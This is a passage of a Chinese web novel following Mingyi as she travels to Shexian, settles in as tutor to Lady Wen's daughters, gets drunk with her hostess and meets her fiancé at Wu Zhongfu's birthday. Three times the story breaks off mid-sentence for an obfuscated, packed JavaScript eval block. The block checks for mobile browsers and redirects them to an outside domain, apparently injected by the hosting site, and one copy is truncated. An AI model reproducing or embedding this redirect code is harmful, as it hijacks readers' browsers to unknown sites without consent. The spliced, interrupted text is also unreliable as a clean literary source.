孙师傅顿了顿,又探头往外看了一眼,道:“前路卧了根粗木,刚好横在路中间,大家和我一起清理一下吧,不然这车过不了。” 明夷一听,非常自觉地往外走想要跟着去帮忙,被麦冬和吴中孚两声喝住 “小姐就不用去了!“ “姐姐在这里等着便好!” 明夷脚步一顿,尴尬地笑了两声,又倒退着回了自己的小洞,仿佛刚刚走出去的不是她。 这时又听到小厮喊道:“少爷!我们去就行,您可千万别脏了衣裳。” 吴中孚摇摇头,自己戴好斗笠披上蓑衣,跟在两位车夫后面径直走了出去。 傍晚,众人入住山脚下的溪渡客栈,此地已步入徽州地界,黛瓦白墙的客栈临溪而建,很有徽派建筑的风格。门前悬着两盏竹篾灯笼,上书“未晚先投宿,鸡鸣早看天”,天井下栽了一株粗壮的紫藤,藤蔓攀着木廊疯长,稀稀散散挂着几串早开的紫藤,藤架下摆着红木茶台,三五个行商正坐那煮茶聊天。 跑堂的引着众人穿过回廊上楼,黄色的木质楼梯吱呀作响,二楼客房门前皆垂着褐色布帘,帘角缀了几只小铃铛,风过时发出一片清脆的叮铃声。 麦冬阖上客房大门,将其仔细锁好后走进内间收拾。明夷推开雕花槛窗,窗外正对着水雾缭绕的溪流,在晚风中奔流向前。 浴室水已备好,麦冬喊明夷进来梳洗。少女将窗户关上,走到竹丝屏风后头,解开沾满尘土的披风,卸下头上钗环,泡在热水里,舒服的吁了口气。果然啊,经过舟车劳顿,浑身污泥,还是泡个热水澡最抚人心。 一切收拾妥当之后下楼吃饭,吴中孚早已坐那等着了,见明夷来了,便招呼店家上菜。 除了早上喝的粳米粥,就只在岩洞里头吃了点干粮,当时还没觉得,现在整个人放松下来之后,倒也的确是饿了。菜都是吴中孚预先点好了的,所以上的很快,满桌子徽菜中,最显眼的还是中间那碟凉拌折耳根。 怕徽州人不会吃,明夷事先特地交代了做法,并嘱咐分一半给几个车夫并小厮。她执意要挖这折耳根倒也不全是因为贪吃,大家今个儿都淋了不少雨,这菜可抵御风寒。 听说蕨粉圆子是安徽特有的风味小吃,乃是用山蕨根捣碎洗出来的淀粉所制,内裹切成细丁的猪肉、豆干、香菇、冬笋、虾米,再上锅蒸熟。明夷尝了一个,有点糯叽叽那味,没有很惊艳,她还是比较喜欢臭鳜鱼,虽闻着有股怪味,单吃起来却是咸香甘甜,味道很是特别。 窗外又忽然下起了雨,细密的雨点敲在长着青苔的瓦片上,起初是细碎的“沙沙”声,渐渐地,汇聚的雨水沿着瓦沟从高高的檐角垂落,在石阶上砸出清脆的“滴答、滴答”,不远处新安江的方向传来沉闷的、水波涌动的声音,与近处的雨声交织。 未关紧的槛窗中钻进几线微凉的雨水,明夷忽感脖颈一凉,就看见对面的吴中孚已经起身走到窗前将缝隙阖拢。暖黄的烛光映着窗棂上繁复的花纹,屋内是不同于外的明亮干燥,面前的饭菜安稳的冒着袅袅的热气,对面坐着的少年一脸温柔笑意,正与她说些什么…… 在这风雨飘零的他乡,明夷忽然感到一阵奇异的闲适与安稳。 41. 新安江 过了昱岭关就得走水路,明夷一行人没有在小镇停留,第二日一早就在新安江的渡口处包了一艘红桐漆木客船,继续往歙县行驶。 新安江上一片水雾缭绕,过往商船忙忙碌碌,看得也不甚清晰。但好歹没下雨,明夷扶好帷帽走出船舱,一路沿着船舷绕了一圈,最后立在船尾看江上忙碌的清晨。 吴中孚提了只青竹篮跟了出来,里面装的是明夷刚刚在渡口买的桑葚和山竹,眼下正是吃这两样的季节,不少小贩在岸边叫卖。 少年将竹篮放在甲板上,瞟了眼兀自眺望的明夷,默默拣了个山竹出来剥。 刚刚付钱时,明夷曾对着筐子里圆滚滚的山竹自言自语道:这玩意儿虽然好吃,但剥起来麻烦,又脏手又废指甲。旁边的吴中孚听了去,现下自个儿默默地站在明夷旁边剥着,紫黑的果壳拢到废篓里,将月牙似的鲜白果肉拿块干净的帕子包上,十分自然地递给明夷。 明夷见人递东西,下意识伸手去接,定睛一看,有些不好意思地推拒道:“阿孚你这是干嘛呀,我要吃自己会剥的。” 隔着帷帽,少女的面容模糊不清,但吴中孚能够想象到明夷此时的表情,定是咧嘴开笑的鲜活模样。 想到这,少年也不自觉弯了嘴角,又拣了一个山竹拿在手上,声音清亮:“无妨,姐姐戴着这帷帽剥起来也不方便。” 明夷想想也是,再说免费劳动力不用白不要,弟弟服务姐姐天经地义的事,便也心安理得的吃了起来。 江上的风比陆上要大些,船帆鼓的胀胀的,帷帽也总容易被吹开,明夷只象征性地扯了扯,便不再去管,倒是乐得这江风送来的开阔视线。 吴中孚依旧在旁边尽职尽责地剥山竹,时不时与明夷聊上两句,心里想的却是:明姐姐今天换了个翡翠镯子,颜色绿得沁人,很衬她。 到了午膳的时辰,周围的乌篷船多了起来,一个七八岁的男童赤膊立在船头,脚边木盆里青虾乱蹦,对着明夷他们大声道:“小姐要不要看看虾,刚捞上来的,新鲜得很!” 明夷见状招了招手,男孩立马划着船靠近,捧着木盆给她看,新安江水清,虾也干净,一个个活蹦乱跳的,确实是非常新鲜。 见少女有意购买,男孩又立马推销其自家的桃花鳜,明夷看着男孩劲头十足的机灵样,心里觉得可爱,大手一挥,各要了些。男孩开心地找了两个竹篓给明夷装好,还大方得送了些蛤蜊,吴中孚很自觉地跟在后边掏钱。 麦冬提着鱼虾去找船夫,船夫见了,马上搬了个两个红泥火炉上来,支了个小杌子,坐在船边当场给鱼开膛破肚,拿水洗净后,立马给鱼抹上粗盐,往肚里塞紫苏,与虾一并放到烧起的火炉上,烤得脂香飘满船,让人食指大动。 船夫老李乐呵呵地表示:“像我们这群拿船当家的,这是最常见的吃法,也就这种刚捞上的河鲜才能这么吃,新鲜,没腥味,虽然方法简单,却最能吃出本身的鲜甜。 明夷乐呵呵地在旁边附和,水上居民啊,倒是想起了疍民,也不知道他们做不做艇仔粥呢,算起来也是好久没吃了…… 几人各占一把小杌子,坐在船头,蘸着明夷拿出来的辣酱,谈笑间将满满两篓鱼虾吃了个干净。客船行至江心,视线更加开阔,相邻船只也少了许多,两岸青山绵延,江水蜿蜒向前犹如一缎碧练,偶有水鸟停留,尖尖的长喙猛地扎进水里,再出来时就已经挂了一尾活蹦乱跳的青鱼,昂着胜利的头颅,纤长的白色身影不一会儿就消失在青翠山林间。 眼下也没什么人,明夷索性将那碍事的帷帽摘了去,张开手臂毫无遮挡地,全身心感受江风拂面的温柔。 待月出时,江上的船只又多了起来,大家各自点亮了船上的灯笼,一排排连在一起,仿佛汇成一条红河。不知是那艘船先吼了一嗓子,人们陆陆续续钻出船舱,或扶着船舷,或立在船尾,竟开始对起了歌来。 一位青衫船娘笑声朗朗,隔水抛来歌谣:“新安江水流到东,妹在船头哥在篷——”明夷兴奋地乱接一气,什么“山对山来岩对岩”“这边唱来那边和”,竟与对面那船娘唱的有来有回。 大家玩得热闹,这夜晚的新安江却是黑得要命。月亮隐在厚厚的云层里头,光晕淡得几乎没有,大家虽各自看不清面容,歌声却更加爽朗,一浪高过一浪,久久未能停歇,点点渔火闪烁在漆黑江面,偶有水鸟飞过和上几声,宽阔的大江缓缓东流,今夜的新安江宛如一幅渔舟唱晚图。 由于一路顺风又顺水,不过三日,客船就到了渔梁坝。吴家和赵家早早遣了人在岸上候着,明夷与吴中孚浅浅道了个别,便与麦冬坐上了赵家的马车走了。 马车停在赵府西北角门口,明夷下来后又坐上了顶小轿,直到进入内宅才由府里的丫鬟领着去见赵二夫人。 跨过月洞门,铺着细白石子的小径旁蜿蜒绵亘,一旁的罗汉松被修建成喜庆的迎客状,竹篱圈着牡丹圃,姚黄魏紫、赵粉二乔,各色品种,应有尽有。巴掌大的花球开得层层叠叠,犹如神妃仙子的霓裳羽衣,堪称一句国色天香,越往里走,牡丹愈来愈多,开的闹哄哄的,仿佛要将脚下的石子路蚕食殆尽,伴着袅袅清香,前方带路的丫鬟停下了脚步,一座精致的小院就坐落在这牡丹花丛中。 赵二夫人本名闻二乔,名字乍听有些奇怪,据说是因为赵二夫人在其娘腹中时本是双胎,然双胎本就容易难产,闻母废了半条命生下一对女婴,其中一个当晚就没了,为了纪念这个死去的姐妹,闻父闻母给女儿起名二乔。 明夷进屋时,闻夫人正端坐在有束腰三屏围子嵌理石罗汉床上,身着鹅黄绫地绣百鸟竖领袄,外罩朱红遍地金云纹比甲,下着艾绿妆花缎凤尾裙,高耸的云鬓上插着一支赤金累丝点翠嵌红宝石牡丹簪,衬得其容貌艳色逼人,恰似那雍容华贵的二乔牡丹。 见明夷来了,牡丹美人双眼一亮,直接快步走到少女面前,拉着其手上下打量,目中惊艳毫不掩饰,直直道:“天下竟真有如此标致的人物,我今个算是见到了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637294|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早听闻九畹居士是个山谷幽兰般的人物,今着见到她女儿,我还以为是那拒霜花开在三月里头了,真真是芳殊明媚,光华动众!” 明夷被这直白的夸奖弄得两颊飞霞,闻夫人边上一位红裙翠袖、韶颜稚齿的美人笑着给明夷解围道:“王先生舟车劳顿,太太快让人坐下歇息吧。” 闻夫人连忙嗳唷几声,爽朗道:“瞧我这记性,一见美人就走不动道了,都快忘了正事!沈先生快快请坐,我这就遣人去吧我那几个丫头喊来。” 明夷坐在灯挂椅上,接着喝茶的动作,偷偷抬眼打量着闻夫人与刚刚那位稚龄美人的互动。刚才派人去请府里的小姐,想必这位佳人并不是她的女儿,两人动作亲昵,看着也不似一般来做客的,难道是娘家的外甥女或者侄女? 还不待明夷再细想,一个穿着桃红褙子的小丫鬟进门对那两人褔了福,对着那位稚龄美人道:“郁姨娘,您要的那几幅花样店里那边刚差人送来了,现下在您房里放着。” ??? 明夷差点被茶呛着,硬生生给憋了回去,这丫鬟刚刚在叫谁?姨娘?叫谁姨娘?不会是那个小姑娘吧?! 果然,只见稚龄美人站起朝赵闻夫人行了个礼,高高兴兴地跟着小丫鬟出了门。 明夷觉得自己三观有点震碎,姨娘,你告诉她这看起来不过十二三岁的女孩是府上的姨娘?虽然古人结婚早,但起码也得及笄吧,这孩子怎么看都不像有十五岁啊,难不成让她遇上传说中的天山童姥了? 还没等明夷想明白,几个丫鬟婆子便带着三个女孩进了屋,女孩们穿着一样的妃色芍药纹妆花夹袄与青绫翠玉莲花裙,双螺髻上都簪着珊瑚吉祥八宝钗。大姑娘赵芸,今年十二岁,二姑娘赵芝,今年十岁,三姑娘赵芙,今年八岁。 三位姑娘容貌相似,皆是星眸丹脸,然由于年岁尚小,都还看不出颜色,不过就冲闻夫人的模样,想也不会差。听说几个小姑娘还有两个哥哥,一个十四一个十六,明夷感慨,这家莫不是生了排等差数列出来。 闻夫人挨个看了看女儿,把面前三个妃色团子揉捏一通后,心满意足地让她们来王先生处问好。明夷第一次摆上了先生的架势,在小姑娘们面前装得是有模有样,举手投足优雅至极,给女孩们看得一愣一愣的。 瞧着女孩们眼里的羡艳,明夷心里不无得意,回忆从前学习的苦痛经历,她也算是媳妇熬成婆了,看看这一张张还未经知识摧残的懵懂表情,邪恶明夷张牙舞爪做巫婆状,已经等不及让她们接受知识风暴的洗礼了。 这边女孩们可见不着明夷心里的魔爪,只知道母亲请的先生竟生得这般好颜色,眼睛俱是睁得大大的。尤其是大姑娘赵芸,行礼的时候虽弯了腰,眼睛却一错不错地牢牢锁定明夷的脸,一幅呆样,姊妹们都在说吉祥话了,她还搁那发呆,最后还是被自己的三妹妹扯了一把袖子才回过神来,羞赧一笑,细声细气地在妹妹们后头补了句先生万事如意,明夷心里好笑,这是拜寿呢还是过年呢。 42. 二乔 新工作 寒暄一通后,闻夫人让身边的婆子带明夷回她的房间,并特意嘱咐让她先歇息一段时间,等适应了这边的水土,再谈上课的事。明夷感激谢过,待看到闻夫人为其准备的房间后,心里的感激又添上几分,原因无它——这房间看着实在太舒服了! 卧房内,嵌黄杨木雕门围子架子床挂着鹅黄双绣花虫纱帐,床前摆着黄花梨有束腰嵌大理石方几,几上置一套茶具,另配同材质玫瑰椅子。靠窗安置着一张黑漆描金长案,案上整齐码着文房四宝,俱是上品。一侧的花瓶里插着几支刚折下的牡丹,桌下摆着一只小巧的脚踏,面上铺着柔软的锦垫。 墙角还立着一个朱漆描金的多宝阁,阁内摆满了琳琅物件,地上铺着厚厚的织锦地毯,绣着牡丹呈祥的图案,脚踏其上,柔软舒适。 临安王府已是当地有名的富庶人家,但与这歙县赵家相比,虽不能说是小巫见大巫,但也的确存在一段差距,只能说不愧是靠做盐商起家的,财力可见一斑。 而闻夫人的“歇息一段时间”,也真不是说说而已,明夷是三月中到的赵府,直到四月初也没流露出让她给孩子们上课的意思。 闻夫人爱热闹,常常在家中开设宴席,明夷受邀参加过几回,只见闻夫人像是醉酒的蝴蝶进了万花丛中,一会儿拉着这位夫人把酒当歌,一会牵着那个小姐品评蔻丹,摸摸这个的耳坠子,勾勾那个的玉带钩,狂蜂浪蝶跟个登徒子似的,不过——明夷看了看闻夫人娇艳姝丽的脸庞,算了,顶着这样一张脸,无论做什么是好的。 闻夫人言行合一,不但举止大胆,赠诗赠物也从不写某某夫人小姐,每每都是对方名字中的一个字+美人,打个比方,明夷就收到过闻夫人署名“明美人”的螺子黛。 明夷开先还有些奇怪,这…会不会不太得体?但转眼一看,席上大家都是泰然自若的收下,满脸笑容的与送礼人打趣,再看看被围绕其中的,笑得鬓间凤鸟步摇乱颤的女主人,明夷恍然,闻夫人乃真风流也! 明夷只来半月余,各色宴会已参加不下四个,收到的礼物也已经装满了一个小箱子。而闻夫人从不懂停歇为何意,这边酒席上杯盘狼藉初初落幕,另一边就已经在互相约着下回了,永远有激情,永远在路上。 比方这会儿,牡丹美人卧在贵妃榻上,举着本册子拿着朱笔划叉,皱着眉头嫌弃每次宴会不是赏花就是作诗,简直毫无新意,遂又冥思苦想一整天,于夜晚卸妆时来了灵感,决定搞个胭脂鉴赏会。 闻夫人行动力极强,连夜做出方案,第二日就带着明夷和郁姨娘兴冲冲地跑遍了歙县所有的胭脂店。每到一家店都如蝗虫过境,明夷不自觉幻视一些港剧场景:富婆逛奢侈品店,指着几件衣服对导购道,“这些不要,剩下全包了。” 统共搜罗了数百种胭脂,各种颜色,各种香型,甚至同类不同包装的,同类不同店铺的,也统统被闻夫人收入囊中,并且还特意转头与明夷二人强调,现只是初筛而已,回去还要再细细挑选两轮。 明夷跟在后头,只觉得自己把这辈子的红色都见了个遍,鼻子也因为闻了太多香,暂时处于罢工状态,至于双腿,不过是靠着意志力强撑罢了。 反观闻夫人,依旧兴致冲冲,仍然精神满满,甚至发丝都没乱掉一根,丝毫不见疲态,明夷内心摆烂:简直非人哉!世界就交给如此精力充沛之人吧,她且放心去了。 三人满载,但不着急归,而是将战利品让人送回府上,拐到去抱月楼定了一桌酒席。饿坏了的三人屏退一众闲杂人等,无所谓规矩礼仪,一应动作,只为填满自个儿空荡荡的胃。 明夷和闻夫人身为成年人,一人一壶梨花白喝得痛快,而郁姨娘年芳十四,两手握拳举在胸前,眼巴巴地看着闻夫人想讨两口酒喝。 后者撑着脑袋伸出食指摇了摇,只让人进来给她倒了杯低度数的桂花米酒解馋,并故意板起脸叮嘱,只此一杯,不可贪多,并恐吓道:小孩子喝什么酒,会把脑子喝坏掉的! 言罢,闻夫人又转头看向明夷,表情依旧严肃,明夷以为是有要事要谈,连忙放下酒杯正襟危坐,却听闻夫人一本正经道:“光喝酒多没意思,划拳会吗?” 明夷刚收起的笑容凝在嘴角,啊……这…“会!我还会摇骰子呢!光划拳多没劲啊,来来来我教你个我们杭州的新玩法,我之前老爱和我朋友玩了……” 闻夫人得遇酒友,乐得娇笑连连,马上就让人拿了骰子进来,又顺便再要了两壶酒,不一会儿,雅间内就响起了“哥俩好,三星照,四喜财……”的酒令声,伴随着骰子哐哐相撞的响声,三个人的包厢硬是吵出了十个人的架势。 郁姨娘看看素日在人前端庄自持的明夷,又看看虽然有点不着调但还是正经靠谱的闻夫人,啧啧地摇了摇头,感慨:大人真奇怪,好似都有两幅面孔,幸亏这雅间隔音好。 两人实力相当——菜的相当,但也算是棋逢对手,平分秋色了,大家都痛快!你一杯我一杯的喝,不一会儿,桌上酒就空了几壶。两人均是满脸酡红,目光含水,鲜红的唇瓣沾着亮晶晶的酒渍,两张脸庞一大气姝丽,一明媚婉清,俱是光辉动人、活色生香。 玩到最后已经没人在乎输赢,都是抱着酒壶一杯接一杯的喝,先是彼此摇头晃脑吟诗作赋,接着又对起了小调,后面又逐渐开始胡言乱语起来。 只见闻夫人抬手在脑袋上摸了两下,一把拔下发髻上的凤蝶鎏八宝簪,几缕鬓发瞬间落下,黏了几根在脸侧。而闻夫人毫无所觉,只一个劲地按着明夷的肩膀在她脑袋上比划,好寻找一个合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649444|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适将簪子插进去。 明夷顶着闻夫人插她头发里的大金簪子,安抚了一下负担加重的脖颈,又自顾自地捊起袖子,嘴里嚷嚷着礼尚往来,硬是要把腕上的累丝镂雕花纹金镯褪下给人戴上。闻夫人将两手藏在背后坚决不肯,只朝旁边埋首案前的郁姨娘努了努嘴,道:“给章儿戴去吧!” 明夷立马转移目标,举着大金镯子摇摇晃晃地杀到郁章章面前。女孩方才趁人不注意鬼鬼祟祟地摸了壶酒过来,正开心拎着酒壶地往自己杯里倒呢,不想却被突然出现的明夷吓得手一抖,酒一下洒了大半。 郁章章心疼地看着桌上那摊酒渍,突然猛地感觉手腕一紧,低头发现左手竟多了个金澄澄的镯子。还不待她揪着人开口道谢,就看见明夷已经步伐凌乱地回到了自己的座位上,抱着酒壶与闻夫人开始了新一轮的胡言乱语。 只听明夷凄凄切切道:“赵夫人你是不知道,我之前在家读书日子过得有多苦呜呜呜……我的先生要求特别严格,我爹娘嫌我诗做的不好要给我补课,那段日子我白天上课,晚上补习,还要另抽时间做功课…呜呜呜,别提过得有多苦了……” 闻夫人瞅着明夷的发髻,似是在挑选下一跟簪子的归属地,闻言摇头晃脑道:“嗳唷唷,那你可太惨了,不像我,自幼聪明,父母从不拘着我读书,我过得可快活了哈哈哈……哎呀!说到这个,你到时候给我三个丫头上课时也不要抓得太紧了,开心就好!她们轻松,你也轻松!” 明夷听了双眼一亮,这敢情好,教师行业理想家长,钱多,事少,真让她给遇上了,难道是传说中的新手保护期?无所谓,有道是得了好就得记得卖乖,只见明夷连忙给闻夫人倒了杯酒送到其嘴边,笑嘻嘻道:“好说好说,就等你这句话了,我教学,你放心!保证方法新鲜又有用,让姑娘们大开眼界!” 两人又笑嘻嘻地喝过几轮,明夷拎着酒壶走到窗前,望着行人往来的街道,突然有些郁闷道:“你们瞧这路上有几个年轻女子?这一天天的净把人拘在家里头,日子过得连个盼头都没得,我有段时间都快抑郁了……哎呀,不讲这个了……我跟你们说啊,我之前在家里学规矩,嬷嬷教得可严了,那些个规矩也是折磨人,走个路都要控制力道,我简直要恨死了!” 闻夫人走到明夷身边与她并排,拍着窗棂道:“都一样都一样,谁过得不是这样的日子,你可别一根筋的往里钻啊,别人说什么就是什么,人前装装样子就行,背后咱们想怎样怎样,就像我们现在搁这喝酒,谁能管我?谁敢管我?我家老爷也不行!我反正觉得,只要完成了分到我们头上的家内责任,其它劳什子规矩准则,都不能阻止我在咱们女人中寻欢作乐。我今天品胭脂,明天就赏牡丹,后头就开诗会,人生最重要的是及时行乐嗳……” 43. 赴宴 第二日早晨,明夷摸着自己又痛又晕的脑袋,内心非常后悔,早知道她就……算了再倒回去一趟她好像也会喝,那下次再也不……额,若真有下次,她好像也控制不了自己。 明夷两手握拳捶着自己的脑袋,不忿道:你不是还晕着吗?要不要那么清醒!我做面子悔过一下不行吗?刚冒出一句就给我揭底,小心我不用你了! 麦冬端着醒酒汤进来时正好瞧见明夷捶着脑袋自言自语的精分模样,顿时有些紧张起来,连忙上前道:“小姐你这是怎么了?要请大夫吗?” 明夷发疯被撞破,一时有些尴尬,揪着寝衣讪讪道:“额…没事,就……欸你端的那碗东西是什么?” 麦冬狐疑地看了眼自家小姐,显然是不太相信的模样,不过经明夷一提醒才想起自己刚来的正事,转身将装着白瓷碗端到明夷面前,道:“闻夫人特意嘱咐的醒酒汤,让我等你醒来端上来,小姐快趁热喝。” 明夷看着那还冒着热气的褐色不明液体,感觉还没喝喉咙就已经泛起苦味了,抗拒道:“我酒已经醒了,就不喝了吧?” 麦冬可还记得刚刚进门时明夷胡言乱语的模样,直接将碗怼到明夷嘴边,坚持道:“不行!小姐还是赶紧趁热喝了吧,不然生病了怎么办?” 看着麦冬一幅她若是不喝就给她灌下去,并立马飞书去钱塘给她妈告状的模样,只好捏着鼻子将整碗醒酒汤咕噜咕噜灌了下去,然后梗着脖颈四处找水喝。 老太爷啊,一股藿香正气水加连花清瘟颗粒的味道,恶心的她都要吐了!敢情你醒酒汤的作用就是让人把酒吐出来是吧。下次,下次一定不喝那么多了,这次是真心的!她发誓! 吃了点清粥小菜,明夷又倒下抱着锦被躺到了下午,闻夫人身边的丫鬟过来传信,让明夷去趟鹿韭院。 老板发话,明夷不敢懈怠,连忙从床上爬了起来,唤来麦冬帮她梳妆,收拾的整整齐齐得往闻夫人的小院走去。 闻夫人身边的婆子径直将明夷领进了卧房内,天气逐渐转暖,只见闻夫人敞着件丹砂织锦蔷薇袄,漏出里头的纹羽纱衣,懒懒得倚在贵妃榻上,见明夷来了,招手让人给她搬了把湘妃竹梳玫瑰椅。 “我瞅着谷雨过了就给丫头们上课吧,那时候天气也彻底暖和了,写字弹琴都不冻手。”闻夫人对着明夷说道。 明夷颔首,笑道:“还是夫人想得周到。” 闻夫人瞧着明夷正经的模样,挑了挑眉,佯装道:“你不是明美人!快说!你把昨晚和我一起喝酒的美人藏哪去了?她才不似你这般正经!” 明夷闻言瞪大双眼,一时呆愣在地,显然是还没反应过来。闻夫人从花瓶里头折了只豆绿牡丹,示意明夷靠近些,将其插在她鬓边,拍手称赞道:“鲜花配美人,这豆绿与你今日穿的这身翠玉袄子搭得很。” 明夷回过神,腰背泄了力气靠在椅背上,抬手摸了摸头上的牡丹,轻松道:“闻夫人这般的风流人物,不知要夺走多少女子的芳心。” 闻夫人闻言笑得花枝乱颤,两人又互相打趣了两句,才又正色道:“届时你给姑娘们上课把章儿也捎上。” 明夷点点头,姨娘和小姐一起上课,虽然年龄相近,但该说不说还挺稀奇的,早从第一次见两人时,明夷就疑惑,到现在,她心里的好奇满得都快溢出去了,但又不知如何开口。 似是听见明夷心声,闻夫人对着明夷道:“这孩子十二岁时就被人送给我家老爷做妾,平日基本就是跟在我身边,书画启蒙都是我教的,也算是认得几个字。章儿脑子灵得很,我寻思着如何都不能埋没了,可要拜托你好好教导一下。” 说着又补充道:“课上你也不用把她当府里的姨娘,你这段时间也是瞧见的,还是个孩儿心性,你只管和我那几个丫头一并教就是了。” 明夷点头如捣蒜,心里对这位牡丹美人的喜爱又多上几分。大抵是她被古装剧古代言情小说给荼毒了,毕竟里头的主母和妾室哪个不是水火不容,斗得你死我活。第一次见着把丈夫妾室当女儿养的主母,明夷内心啧啧惊奇,不过……想想她平日所见的闻夫人——一位酷爱美人,见着男子就皱眉的风流人物,倒也显得合情合理。 两人又聊了几句美酒美食美人,郁章章适时拿着绣样蹦蹦跳跳地来找,明夷见也没啥好说的便先行告退,闻夫人又叮嘱了一句明日来她院里选胭脂,便挥了挥手让人带明夷下去。 走在卵石小径上,空气中弥漫着馥郁的牡丹香,花亭的琉璃瓦映着天光,流溢出琥珀般梦幻的色彩,春风轻手轻脚地从摇晃的灌丛跳到飞舞的发梢,又打着旋儿去吹落叶了。 明夷方向感极差,莫说东南西北,就连左右都要反应几秒,然无所谓东西南北风,茎叶弯腰的方向就是风的归处,西府海棠胭脂般轻袅的花瓣被送至她抬起的指尖,今晚的风是海棠花香。 一年中最舒服的两个时候,春末和秋初,前者由寒转暖,后者从暑至凉,统统恰到好处,檐下的灯笼追着明夷前进的步履一盏盏亮起,夕阳挂在远方的山顶上,橙黄的光晕慢慢转暗,只有中间的芯还是浓烈得很。明夷莫名觉得,若是咬上一口,肯定咸得人到处找水喝,她突然想吃咸鸭蛋了。 回到自己的屋子,一个丫鬟拿了封信上来,说是下午吴府差人送过来的,明夷了然,应该是阿孚。 吴中孚在信中说到自己这月十八号的生辰,许久归家,吴府的人决定给他办上几桌,遂特邀明夷前去吃酒。 明夷掰着手指算算日子,恰巧在胭脂会之后,又还留了两天时间给她休息,真是个不扰人的贴心日子,和阿孚这个人一样。 立马研磨提笔回了一封,算起来阿孚也已经十五岁了,日子过得真快啊,昔日小正太都已长成翩翩美少年了,与他同来歙县的路上,少年一路上润物细无声般的照顾让人很是熨帖,想到这明夷又稍稍有点羞愧,明明她是姐姐不是,到头来却是小的那个更会照顾人些。 十五岁啊,也到束发的年纪了……该送他什么生辰礼好呢? 接下来几日,明夷除去与闻夫人她们吃饭,几乎闭门不出。闻夫人好奇来她屋子里看过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明夷早在来时就将礼物交给了负责的丫鬟,初来歙县,席面上的夫人小姐她也不熟,氛围也不似闻夫人办的那些活泼,少女干坐着觉得有些手足无措,但贸然上前搭话她也做不来,幸亏很快就开席上菜,明夷埋头专心于佳肴,先前的尴尬不适散去了大半。 忽有一小丫鬟借着上甜汤的名义塞给她一小纸条,明夷偷偷展开看了眼,是吴中孚约她待会儿在府里花园见面。明夷估量着阿孚这么细心的人肯定都安排好了,再说等会本就要去花园看戏,应该也不怕被撞见。 待酒席接近尾声,宾客们三三两两聚着聊天,明夷趁没人注意,跟着小丫鬟溜了出去。 转过抄手游廊,明夷一眼就瞧见假山边上的修长身影,正要快步向前,突然撞入一个结实的胸膛,脑袋瞬间警铃大作,慌忙后退几步,低着头计划如何溜走。 假山那边吴中孚听到声响转头望去,正巧看见明夷与人相撞的场面,立即拔腿就往这边奔,一声“明姐姐”还未出口,就听那相撞的男子惊讶道:“明夷!” 正在前进和倒退的两人皆是一愣,竟是许久未见的方韫之。 44. 三人 确认是方韫之,明夷先是松了口气,抬起头大大方方的看了过去,随后又立马冒出疑问:“你怎会在这?你不是随家里人在京城吗?” 还不待方韫之开口,吴中孚已走到明夷身边,先一步解释道:“韫之兄与我在同一位先生处读书,今日特意来与我祝生,中孚在此谢过。”边说着就朝方韫之拱手做辑表示感谢。 方韫之被吴中孚突然的动作搞得一头雾水,下意识抬手回礼,眼睛却一直看着明夷,有些迫不及待道:“我父亲让我回籍参加乡试,早听说你要来歙县,但又摸不准日子所以一直没写信给你,我是上月底过来的,没想到能在这里…不对你应该是会来的,我…额,你——” 瞧见方韫之着急得话语颠倒的模样,明夷“噗嗤”一声,捂着帕子笑出了声。 方韫之愣了愣,原先略微急促的表情也舒展开来,温柔的目光注视着眼前的紫衣少女,一字一句认真道 “明夷,好久未见。” 青年音韵清朗,发束玉冠,一身莲青色银丝暗纹长直缀衬得其身姿高彻如瑶林玉树,几年未见,两人都已褪去稚气,形貌举止,都与成年人一般了。 只是儿时的积攒的情谊,月月到访的长途书信,萦绕其中的熟稔氛围,都在提醒着几人,故人音容或改,然人事未非,他们仍是旧相识。 他乡遇故知,自然是喜事一桩,但是——明夷环顾四周,现下并不是什么叙旧的好时候,要是被别人瞧见,她可就惨了,吴中孚也意识到这个问题,只见他拧着眉看向还沉浸在得见未婚妻的喜悦之中的方韫之道 “韫之兄,现下也不是说话的好时候,不如我先带你去园子戏台处,之后有机会再叙?” 方韫之下意识反驳:“不可,怎能留明夷一个人在这里,再说我俩已有婚约,就是真被看见也不打紧。” 吴中孚眉头蹙成一道川字,又道:“人言可畏,我们身为男子倒是没什么,可是世人总对女子苛刻,韫之兄还是得多为明姐姐考虑二三。” 说着又看向明夷,眉目舒展,和缓道:“我马上就会差人过来接姐姐,烦请姐姐先留在此地不要轻易走动。” 明夷点头说了声好,又转向正看着她发呆的方韫之,柔柔道:“阿孚说得有理,韫之就先随他去吧。如今咱们都在歙县,不愁没有见面的机会。” 话落又勾起嘴角,给了人一个和煦的笑容,站在原地目送两人离去的身影。 方韫之与吴中孚并肩走在一起,时不时还回头看看站在后面笑着朝他们挥手的明夷,待转过几个弯彻底看不见人后,才想起自己身边有个人似的,有些埋怨道:“中孚怎么不告诉我今日明夷要来?” 两人在一块读了大半个月的书,虽年龄差了几岁,但同为先生的得意门生,又常在一块讨论文章,许多观点又多有投机之处,彼此间已十分熟稔。 